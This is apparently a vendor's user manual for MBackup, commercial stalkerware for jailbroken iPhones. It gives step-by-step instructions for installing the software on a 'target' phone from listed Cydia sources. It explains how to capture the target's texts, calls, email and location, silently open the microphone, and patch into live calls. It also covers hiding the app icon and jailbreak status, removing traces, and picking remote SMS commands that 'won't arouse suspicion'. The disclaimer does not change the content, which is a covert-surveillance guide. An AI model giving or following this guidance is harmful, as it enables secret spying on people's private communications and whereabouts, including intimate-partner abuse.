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Before You Begin 

 After purchase, you will receive an email with ACTIVATION CODE, USERID and PASSWORD. 

 Download the Program from our download site directly into the TARGET phone by using CYDIA on a 

Jail-broken iPhone. 

 The TARGET phone MUST have GPRS/WiFi correctly configured for Internet Access. Please contact your 

network operator if you are not sure. 

 If your phone is not ‗Jail-broken‘, you will need to Jailbreak it by downloading some software to your 

computer and installing by USB, or consult your phone provider to ask if they will Jailbreak it for you. 

Jail-breaking enables you to install third party software and enjoy all the Internet has to offer for 

iPhone. 

 Jail breaking tutorials available from our iPhone resources page http://www.iclarified.com/jailbreak/  

Definitions 

 PROGRAM: Your Program software is downloaded from the internet directly into the TAR-GET phone 

 ACTIVATION CODE: A license key required to activate Program (received after purchase) 

 TARGET: The phone whose activity you want to see. Program is installed to the TAR-GET phone 

 MONITOR: The phone you will use to place SpyCalls to the TARGET phone  

 WEB ACCOUNT: The website where you read the TARGET phone activity. Your ID and password is sent 

to you when you purchase the product 

 VOICE EVENT: The time, phone number, contact name (if available) of all incoming and outgoing calls 

 SMS EVENT: The time, number, contact name (if available) and content of all incoming and out-going 

sms (Text messages) 

 Email EVENT: The time, Email address and contents of all Emails from the primary Email service. 

 GPS EVENT: GPS or Location record that the software captures from the TARGET phone. 

 SPYCALL: This feature allows you to make a call from the monitor number to the target number to turn 

on the mic so you will hear the target’s surroundings. 

 CALL INTERCEPTION: This feature allows you to make a call from the monitor number to the target 

phone when the target phone is on an active call and patch into the target’s conversation. 

 WATCH LIST: This feature allows you to receive SMS Alert for Call Interception. When the target has a 

conversation with anybody in your Watch List, you will receive an SMS Alert. So you can make a call 

and intercept it. 

  

http://www.iclarified.com/jailbreak/
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iPhone Quick Start Guide 

Download (phone must already be Jail Broken) 

1. Install Program from Cydia by adding the correct Cydia Source URL for the prod-uct you purchased. 

If you add the wrong URL here, your Activation Code will not Activate the product. Choices are: iphone 

IOS3 : http://dd.mobilebackup.me/iphs/ 

IOS4: http://dd.mobilebackup.me/ips4/ 

If you are not sure what to add to Cydia Source, please check the Cydia Source in your e-mail. 

Then click the Mobile Backup source URL you just added, then click Install. The installation begins 

automatically. 

1. Press “Restart SpringBoard” button 

2. The icon will appear on the SpringBoard as MBackup, Click on the icon to Open the application’s 

Control Panel. 

3. Activate the product by entering your Activation Code & selecting Activate 

Configure 

1. Select the events to capture [Open MBackup -> Application Setting-> select ON/OFF for each option] 

2. Set the frequency of reports [Application Setting ->Deliver Event Schedule/Max Number of Events] 

(The events will be sent to the server when either of these limits are reached) 

3. Predefine SMS Command to set Capture ON/OFF [ Application Setting -> SMS Control Commands -> 

Define Text in Capture ON/OFF 

Note: SMS Commands will be visible to Target user, please define words that won’t arouse suspicion. 

4. After everything is configured you need to hide the Program icon so it isn’t visible to Target user. 

Optionally you may 

 Open MBackup -> Switch Hide Icon to ON. The phone will then restart. 

 To remove the Sources, Open Cydia -> Manage -> Sources -> Edit -> Click on the source you want 

deleted -> Click on - sign -> Delete 

Now you are ready to hand the Target Phone to Target User. 

Note: After hiding Application icon on the phone, you can bring the icon back by either sending SMS 

Command ―Show Icon‖ to the target phone or dialling *#Activation Code. 

  

http://dd.mobilebackup.me/iphs/
http://dd.mobilebackup.me/iphs/
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Manual 

This product works only on iPhone O.S 3.0, 3.01, 3.1, 3.1.2 ,3.1.3 and 4.0 - 4.1.3 on GSM networks. One 

Year Subscription Period 

During the subscription period you can move the software to another supported phone for an unlimited 

number of times. To move Program to another phone, you must DEACTIVATE it on the current TARGET and 

then install it on the new TARGET 

After you install the software on the TARGET device, SMS and Phone Logs are captured and held locally 

until it is time to deliver them to the WEB ACCOUNT. Program will connect to the web account after the 

time you specify in the settings. Login to the WEB ACCOUNT using your ID and PASSWORD. 

Disclaimer 

It is the responsibility of the user of Program to ascertain, and obey, all applicable laws in their country in 

re-gard to the use of Program for "sneaky purposes". If you are in doubt, consult your local attorney before 

using Program. By downloading and installing Program, you represent that Program will be used in only a 

lawful man-ner. Logging other people's SMS messages & other phone activity or installing Program on 

another person's phone without their knowledge can be considered as an illegal activity in your country. 

Vervata assumes no liability and is not responsible for any misuse or damage caused by our Program. It's 

final user's responsibility to obey all laws in their country. By purchasing & downloading Program, you 

hereby agree to the above. 

Install Program On Your iPhone 

Important: 

The iPhone Target MUST already be ―jailbroken‖ with the Cydia icon showing before you can install 

Program. 

The software requires a GPRS or WiFi/ Internet connection. 

          

Slide to unlock. Select Cydia. Slide if it 

does not appear in the 

first window. 

Select User (Graphical Only) 
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1.1 Select Manage -> Sources -> Edit -> Add. 

           

           

  

Enter the URL   

IOS3.x: 

http://dd.mobilebackup.me/iphs/  

IOS4.x : 

http://dd.mobilebackup.me/ips4/ 

Then click Add Source. 

Click Return to Cydia. Click Done 

http://dd.mobilebackup.me/iphs/
http://dd.mobilebackup.me/iphs/


 

7 

           

      

Activate the software 

           

Upon restart you will see the 

MBackup Icon. Open it. 

Enter your Activation Code 

and select Activate. 

After software is activated, 

click OK 
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Input the Monitor Number or the phone number (international 

format) that you would like to make a SpyCall from. 

This Monitor Number is also used for Call Inter-ception, when 

you would like to listen to actual calls in progress on the target 

phone. 

It’s also used by Watch List to send SMS notices to the Monitor 

Phone, when there is an active call on the tar-get phone. 

Configure to hide the application or un-install the application 

 The first slider Hides the Program Icon. This Op-tion must be 

ON to run in Stealth Mode. 

 The second option removes the Cydia icon (hiding jailbreak 

status) and also hides the Pro-gram Icon. In case you want 

your iPhone to look as if it is not jailbroken after installing 

Program, you can choose this option. 

 To UNINSTALL the whole application turn on the third option. 

Before hiding the Program application, please make sure you’ve 

already configured the settings, and de-fined custom commands to 

remotely change the set-tings  

Note: If you need access to the program from the device after 

hiding the Program icon, sim-ply send your Activation Code as an 

SMS (Show Icon command). Make sure you only do this when the 

Target is in your hand, as it will cause the Program icon to 

reappear. 



 

9 

Configure Program Setting 

1.1 Select the Events you want to capture using the sliders. 

1.2 Send Only On Demand: If you slide this option to ON, the software will send data to the server only 

when you send SMS command SEND NOW (custom de-fined) to the phone. 

Note: Trigger Delivery by Events and Event Delivery Schedule will be disabled if this command is ON. 

This setting is recommended to be Off. So the software can deliver data automatically as per your 

Delivery Schedule. 

1.3 Select how often to save GPS / Loca-tion data. 

This is stored in the program database and reported with all other captured events, according to your 

configured Delivery Schedule. 

1.4 Select how frequently Program should check for new Email. 

Program will save a record of any new email it finds, each time it checks for new mail. These records are 

delivered to the web account with all other events, accord-ing to the same Delivery Settings. 

Note: It is possible for the user to delete email between polling periods, before Program may capture it. 

1.5 Trigger Delivery by Events sets how many events should be captured before Delivering to the Web 

Account. 

Event Delivery Schedule sets how often events should be Delivered to the Web Account. 

Note: These two settings work together and are either / or. The default settings will report events to the 

Web Account once per every 10 captured events or once per every 1 hour, whichever comes first. 

         

Watch List & Call Interception 

This setting allows you to receive SMS Alert if the target phone makes either an in-coming or outgoing 

phone call to a specified number. You can enter any number you want to watch. There is no limit for it. You 

can also choose to watch only the blocked number or private number, or even all number. 

If you make a Spycall to the target phone when one of the numbers in your Watch List (or any other 

number) is active, you will hear the actual phone call that is in pro-gress. We call this feature Call 
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Interception. 

***Please note that Call Interception feature will only work with GSM network*** 

1. Watch List 

If you want to watch only specified numbers, slide Watch List to ON. 

To add number in your Watch List, click on the space in Watch Numbers and input the suspect number 

in international format. If you have more than one number, you need to add comma (,) behind the 

previous number and the next number can begin. 

         

2. Watch Private 

If you want to watch only private number (blocked number or unknown number), slide Watch Private to 

ON. 

3. Watch All 

If you want to receive SMS Alert for all incoming and outgoing phone calls happened on the target 

phone, slide Watch All to ON. 
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SMS Control Commands 

1. Show Icon: The SMS command to Show Icon is your Activation Code 

(send only the number by itself). 

Note: This SMS command can’t be changed. You should only send this 

command to the phone when you have the phone in your hand. 

Note II: You can also bring the application icon (MBackup) up by 

dialling *#Activation Code on the Target’s iPhone. 

For example: Your Activation Code is 0123456789. You need to dial 

*#0123456789. The MBackup icon will re-appear on the springboard. 

2. Uninstall: The SMS command to Uninstall the software is 

<*#74><Activation Code> 

Replace “Activation Code” with your actual Activation number.  

This command can’t be changed. 

Note: You can also uninstall the software by dialling *#74Activation 

Code on the Target’s iPhone. 

For example: Your Activation Code is 0123456789. You need to dial *#740123456789. The software will 

be deactivated and uninstalled within few minutes. To make sure that the software is removed, you 

may need to restart the phone manually one time after dialling the code. 

3. Send Now, Enable Delivery and Disable Delivery can be set to your own SMS Keywords. 

These SMS are visible to the user, so please use words that don’t arouse suspi-cion. 

 Send Now: This SMS forces the software to send events to the server immediately. 

 Disable Delivery: This SMS will stop delivery of events, but the software is still capturing events. 

 Enable Delivery: This SMS enables delivery again in case you have dis-abled delivery events earlier. 

4. Change Monitor Number is the SMS command for changing the Monitor Number remotely. 

To use this command, you need to define your own keyword for it. Whenever you want to remotely 

change the monitor number to make a SpyCall or Call Interception to the target phone, you need to 

send this command keyword from the number you want it to be the new monitor number to the target 

phone. Once the target phone receives this command, your monitor number will be changed to the 

new one. 

5. Monitor Call On/OFF is the SMS command used for Enable/Disable Spy Call, Call Interception and 

Watch List. 

Please note that after setting monitor number on the target phone, all call from this number to the 

target phone will be a SpyCall. It won’t ring through as normal. If you want to make a normal call, you 

need to send sms command Monitor Call Off to the target phone. This command will disable SpyCall 

feature. If you want to make a SpyCall again, you only send sms command Monitor Call On to the target. 

SpyCall feature will be re-enabled and it will stay enabled until you disable it. 

Important Note: Spycall and Call Interception features 

To make a Spycall, place a call from the Monitor to the Target phone while it sits idle, not in use. The target 

will automatically answer without ringing or indicating your incoming call, turning on the mic so you can 
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hear the surroundings. If the Target is not idle (already on a call, screen is touched, buttons pressed, 

con-nected to USB, etc) then Spycall cannot be performed. 

Intercept Call is made by placing a call from the Monitor to the Target while it is on an active call. If the 

Target‘s service provider supports Conference Calling, your call will be patched into the Target‘s live 

conversation. 

SMS commands can be used to turn these features on or off, to make normal calls again from the same 

monitor number. 

***iPhone has a proximity sensor next to the earpiece. This sensor must be covered at all times during the 

conversation (as when holding the phone to the ear), other-wise the Intercept Call may divert to voicemail 

or disconnect. 

More SMS Commands 

To complete setup, you need to select the SMS Keywords used to 

remotely control the device. These SMS are visible to the user, so please 

use words that don’t arouse suspicion. 

Commands for Show Icon and Uninstall cannot be changed and must be 

sent alone, only as defined. All other SMS commands may be sent alone 

or as part of a larger text body, but all multiple word commands must 

appear in the same sequence, case and punctuation, exactly as you 

define them. 

Capturing may be remotely turned on or off by set-ting up custom SMS 

commands. 

These SMS commands can be seen as normal SMS and will also be 

received as a command no matter where they are sent from, so choose a 

unique word or phrase that will not be too common. Punctuation and 

CaSe sensitivity also counts. 

These custom commands can be single words or phrases. Be careful about setting phrases that are either 

too similar or too common. 
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Important Note 

The default command to Show Icon is to send your Activation Code as an SMS to the phone that has 

Program installed. Only this one SMS will be automatically deleted from the SMS logs after it has been 

received. This command cannot be changed and should be sent only when the phone is with you, to make 

the program icon appear again. After changing the set-tings, you can hide the icon again. 

For Example: 

The application is in Stealth Mode now and you want to open the Control Panel screen to reconfigure all 

the setting and your Activation Code is 0123456789. So, what you need to do is: 

From any phone create an SMS like this 

0123456789 

and send it the iPhone that has Program installed 

When the SMS arrives at the iPhone, the phone will automatically restart. After the phone is restarted, the 

MBackup icon will appear in the SpringBoard and the SMS will be automatically deleted. Now, you can 

open the Control Panel and reconfigure all the Settings again. 

After reconfiguring the settings, you should turn the application to stealth mode again by hiding the icon 

from SpringBoard. To do so, you need to go back to the First Screen of the Control Panel and turn the Hide 

Icon switch to ON. This phone will then restart without the Program icon showing. 

Deactivate and Uninstall 

If you wish to move the software to another phone, you must deactivate and uninstall before you can 

install and activate on a new phone 

Uninstall the software before you deactivate the software 

Deactivate 
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Uninstall 

If you did not hide the Cydia (jailbreak) icon, you can still choose to remove the Program sources from 

Cydia, so there is no trace of having installed Pro-gram. To remove the Program Cydia sources (program 

remains installed), fol-low these steps: 

          

           

       

Remove the program sources from Cydia 
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Reading Reports 

To read your reports, log in to your account at IOS3.x: http://www.mobilebackup.com   and  

IOS4.x :http:// wip4.mobilebackup.me  using the ID and password you selected when purchasing the 

product. After login you will see the Activity List screen. 

This screen provides a summary of events that have occurred on the mobile device. 

DOWNLOAD AND DELETE YOUR DATA REGULARLY. DATA IS ONLY KEPT FOR 10 DAYS. 

 
  

Main Page: After login, this 

displays all re-cently recorded 

events. You can filter this view by 

choosing VOICE, SMS, EMAIL, 

LOCATION or SYSTEM views 

System Events: If the TARGET device has low memory, a 

SYSTEM even will be delivered. The soft-ware will stop 

recording till memory is available 

My Profile: Change password, see device 

connection status and renew your subscriptions 

Check Box: Events may be selected 

individually using the check box. 

Once se-lected, they may be 

perma-nently de-leted by using the 

DELETE link. 

Direction: Was the event incoming or 

out-going? A direction icon is shown. 

Contact Name: If there is a name in the phones 

address book associated with the number, it 

will be displayed. Otherwise, this field shows 

the number. For Loca-tion, it is location name 

or location ID. 

Mobile Time: The time the event oc-curred, 

according to the mobile. This is not ac-curate as it 

may not be set correctly 
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VOICE                                  SMS 

 

             GPS/CELLID 

 

Search: Answer questions by carrying out pow-erful searches. You can choose the 

EVENT type, dates range, direction to search for specific key-words. If you have multiple 

devices, you can spec-ify the device 


